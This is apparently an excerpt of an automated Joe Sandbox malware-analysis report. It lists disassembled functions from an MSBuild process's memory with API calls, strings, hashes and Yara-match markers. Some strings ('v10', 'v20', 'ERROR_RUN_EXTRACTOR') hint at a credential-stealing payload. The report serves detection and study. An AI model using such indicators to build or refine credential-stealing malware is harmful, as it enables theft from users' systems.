Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e4718a2bd09f027f06cf7776653f5f81e8dbf81dc701c73854ce8e193cc70d2c
Instruction ID: f80fd02daa475277984bf2ca7e4be342debeed8768b67bb03c4de364ee1c0f8d
Opcode Fuzzy Hash: e4718a2bd09f027f06cf7776653f5f81e8dbf81dc701c73854ce8e193cc70d2c
Instruction Fuzzy Hash: A42192742007429FDB18DB64D888A5AB7B5BF4430DF18482DE95BC3B41DB31F99ACB91

Function 6CAAF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAAF598), ref: 6CAAF621

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF637
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF645
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAAF62A

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 57516c56651a07e68863e85ed88dbe092251c8c1287d12651b85f8f2f60e7604
Instruction ID: eff2e3e5930591064ac3c948af630e9daa03dc09631a19bd3a954975d4021092
Opcode Fuzzy Hash: 57516c56651a07e68863e85ed88dbe092251c8c1287d12651b85f8f2f60e7604
Instruction Fuzzy Hash: E111A775201306AFCB48AF98ED489E57779FB8A358B14441AEA0587F01CB72A857CBE4

Function 0041FB72 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041FBBB
DName::operator+.LIBCMT ref: 0041FBC2
DName::DName.LIBCMT ref: 0041FBE4
DName::operator+.LIBCMT ref: 0041FBEB
DName::operator+.LIBCMT ref: 0041FBF2

Strings

throw(, xrefs: 0041FBB3, 0041FBDC

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: c583159067cd8e4b4c14a0cc0b31c8d24c1882c9d1fe3de1599d1ee19ab36fe0
Instruction ID: d097572ec232f191e6714edeec8d169952ac7677f5be60ba020d57c7584bb2ae
Opcode Fuzzy Hash: c583159067cd8e4b4c14a0cc0b31c8d24c1882c9d1fe3de1599d1ee19ab36fe0
Instruction Fuzzy Hash: DF014830600209BFCF04EF64D856DED77B5EF44748F50406AF50197291EB78E98A8748

Function 6CAAF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF561

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF577
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF585
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CAAF3A8
[I %d/%d] profiler_resume, xrefs: 6CAAF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CAAF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CAAF499

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: d7dc5d74d2171282c3f4979d75e9c6d90d56870e614beff4a9bb122523fdeb93
Instruction ID: 3a249616ba2c924468dd52788d7917f6c9d7e975c2838c1215f064a929625615
Opcode Fuzzy Hash: d7dc5d74d2171282c3f4979d75e9c6d90d56870e614beff4a9bb122523fdeb93
Instruction Fuzzy Hash: 86F0BB756003029FDB445BA5AC4C9597B7CEB8D25DF008519EA0583701DB32484797E4

Function 6CAA05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA9CFAE,?,?,?,6CA631A7), ref: 6CAA05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA9CFAE,?,?,?,6CA631A7), ref: 6CAA0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA631A7), ref: 6CAA061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA631A7), ref: 6CAA0627

Strings

<jemalloc>, xrefs: 6CAA05FA, 6CAA060F
: (malloc) Error in VirtualFree(), xrefs: 6CAA061B, 6CAA0625

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: fcec71cbdd816bfaf3b99d12777026c6dc7e8cbc5eb83facb9f8b7cefe3b69f0
Instruction ID: 17de2b0d822072779722248039592bb9d65e0590a151d490b1f36617d969af95
Opcode Fuzzy Hash: fcec71cbdd816bfaf3b99d12777026c6dc7e8cbc5eb83facb9f8b7cefe3b69f0
Instruction Fuzzy Hash: 8EE08CE2A0111037F514225ABC8ADBBB71CDBC6138F090139FD0D82301E94ABD1E52F6

Function 6CA705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 214bfe29cca7add8542552a8a23ac44418930297c84f57a1119de15d53c00947
Instruction ID: cfc193ddcf540425faa3151e67097314790ee56be938afcb99d95ffe642cb420
Opcode Fuzzy Hash: 214bfe29cca7add8542552a8a23ac44418930297c84f57a1119de15d53c00947
Instruction Fuzzy Hash: 0DA13774A007458FDB24CF29C994A9AFBF1FF49304F54866ED44A97B00E771A989CFA0

Function 6CAC14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAC14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAC14E2
GetCurrentThreadId.KERNEL32 ref: 6CAC1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAC15BA
free.MOZGLUE(?), ref: 6CAC16B4

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 12975f4a6ab886dc55d06f1f6ea9011d47e911b76ec8ed053bb456f1630a99ce
Instruction ID: 61edb29d3ea8189ae822d684e89deff70d7505e303123d6feb25c6b610e9bdbf
Opcode Fuzzy Hash: 12975f4a6ab886dc55d06f1f6ea9011d47e911b76ec8ed053bb456f1630a99ce
Instruction Fuzzy Hash: 3C61D171B007449BDB11CF24D980BEAB7B5BF89308F04851CEE8A67701DB31E989CB92

Function 6CABDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CABD38A,?), ref: 6CABDC6F
free.MOZGLUE(?,?,?,?,?,6CABD38A,?), ref: 6CABDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CABD38A,?), ref: 6CABDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CABD38A,?), ref: 6CABDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CABD38A,?), ref: 6CABDD4A

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a18111a0d7e4f9c20e02b762c5f451720ca33f083325df69783b04d5cd45c817
Instruction ID: b87d46a62c2f96e1a0732b7d365b635ecfc31a697e7367e6fbe522f2d2214240
Opcode Fuzzy Hash: a18111a0d7e4f9c20e02b762c5f451720ca33f083325df69783b04d5cd45c817
Instruction Fuzzy Hash: 114169B5A00306CFCB00CFA9C9809AAB7F9FF89318B594569D946ABB15D731FC44CB90

Function 6CAA6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAA6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAA67C8

Part of subcall function 6CAB4290: memcpy.VCRUNTIME140(?,?,6CAC2003,6CAC0AD9,?,6CAC0AD9,00000000,?,6CAC0AD9,?,00000004,?,6CAC1A62,?,6CAC2003,?), ref: 6CAB42C4

Strings

data, xrefs: 6CAA6593

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 9bf0525db4049d62e3df05ffdc31f1d524e8c441a681e89f1305f5366a223286
Instruction ID: c87d4042b7627df2ea7446856a69895b633b36112bd6b4085e1500c41243b19b
Opcode Fuzzy Hash: 9bf0525db4049d62e3df05ffdc31f1d524e8c441a681e89f1305f5366a223286
Instruction Fuzzy Hash: 6AD1DE75A043408FD724CF68D841B9BB7F5BFC5308F14892DE18997B50EB30A88ACB92

Function 0041210E Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,00413794,00000000,00000010), ref: 00412119
lstrcpynA.KERNEL32(C:\Users\user\Desktop\,?,00000000,?), ref: 00412132
lstrlenA.KERNEL32(?), ref: 00412144
wsprintfA.USER32 ref: 00412156

Strings

%s%s, xrefs: 00412150
C:\Users\user\Desktop\, xrefs: 0041212C, 00412131

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-438050915
Opcode ID: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction ID: 2b65b01ea0560ea7e18c8daf8da5e1637e4a778ce13f385dfd922e5b6f13eae1
Opcode Fuzzy Hash: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction Fuzzy Hash: 83F0E9322002157FDF091F99DC48D9B7FAEDF45666F000061F908D2211C6775F1586E5

Function 6CA9D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA6EB57,?,?,?,?,?,?,?,?,?), ref: 6CA9D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA6EB57,?), ref: 6CA9D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA6EB57,?), ref: 6CA9D673
free.MOZGLUE(?), ref: 6CA9D888

Strings

|Enabled, xrefs: 6CA9D81E

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 0e0e3415c867f7a5b19d767130d83d9a88570fd31da60d805e9dfd726678e04f
Instruction ID: afa54d5a97fda9d188c00943ff1a99729495d3af601e7c28857391a69a4d8d0d
Opcode Fuzzy Hash: 0e0e3415c867f7a5b19d767130d83d9a88570fd31da60d805e9dfd726678e04f
Instruction Fuzzy Hash: 0EA1E3B0E103458FDB14CF69C8916EEBBF1AF49318F18845CD8996B742D730A8C9CBA1

Function 0040826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408307
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 0040833C

Strings

ERROR_RUN_EXTRACTOR, xrefs: 004082BE
v10, xrefs: 004082CE
v20, xrefs: 00408286

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 52611349-380572819
Opcode ID: a7c4bab868171f9c93a08c2e1f806e3bf011c80412f2b322c6d12547dab02295
Instruction ID: fcfb18457dfe5f4014f6e0c956c13978459b922771fba34e45ab360bdeedf6ef
Opcode Fuzzy Hash: a7c4bab868171f9c93a08c2e1f806e3bf011c80412f2b322c6d12547dab02295
Instruction Fuzzy Hash: 0841B3B2A00108ABCF10DFA5CD42ADE3BB8AB84714F15413BFD40F7280EB78D9458B99

Function 6CA9F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA9F480

Part of subcall function 6CA6F100: LoadLibraryW.KERNEL32(shell32,?,6CADD020), ref: 6CA6F122
Part of subcall function 6CA6F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA6F132

CloseHandle.KERNEL32(00000000), ref: 6CA9F555

Part of subcall function 6CA714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA71248,6CA71248,?), ref: 6CA714C9
Part of subcall function 6CA714B0: memcpy.VCRUNTIME140(?,6CA71248,00000000,?,6CA71248,?), ref: 6CA714EF

Part of subcall function 6CA6EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA6EEE3

CreateFileW.KERNEL32 ref: 6CA9F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA9F523

Strings

\oleacc.dll, xrefs: 6CA9F4CB

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: b6f92ad7e5ae9d411b5d312b42f4c266cd7f659510d553790ebdb6f556ab5757
Instruction ID: 4ff138daa10a2f2a5c4db06d24843b14b1dc404a0c853b460765e0d41de616f7
Opcode Fuzzy Hash: b6f92ad7e5ae9d411b5d312b42f4c266cd7f659510d553790ebdb6f556ab5757
Instruction Fuzzy Hash: 3C41C0706187109FE720DF29CD85A9AB3F4AF88318F504A1CF59183650EB30E989CBA2

Function 0041C110 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,759183C0,00000000,?,?,?,?,?,?,0041C6D9,?,00417071,?), ref: 0041C163
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0041C6D9,?,00417071), ref: 0041C193
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0041C6D9,?,00417071,?), ref: 0041C1BF
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0041C6D9,?,00417071,?), ref: 0041C1CD

Part of subcall function 0041BADB: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,013C24C0), ref: 0041BB0F

Strings

qpA, xrefs: 0041C120

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID: qpA
API String ID: 3986731826-2224477061
Opcode ID: cc8f3633be1bc0562616318e8ec0b15a9c50c6176403fac9918fe8aa6248f859
Instruction ID: c9db4349de716c4cbd0faa701edc158b8a96926d87f100e2be00061f696c78d6
Opcode Fuzzy Hash: cc8f3633be1bc0562616318e8ec0b15a9c50c6176403fac9918fe8aa6248f859
Instruction Fuzzy Hash: 61415B718001499BCF14DF69DC80ADEBBF8FF48310F1442AAE855EA256D3749985CFA4

Function 6CAC74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAC7526
__Init_thread_footer.LIBCMT ref: 6CAC7566
__Init_thread_footer.LIBCMT ref: 6CAC7597

Strings

kernel32.dll, xrefs: 6CAC7557
UnmapViewOfFile2, xrefs: 6CAC7552

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: f422bddd6fa295fc69f51ea7050b2b61e2e81a84a248dd4c35c99ff57c4064b0
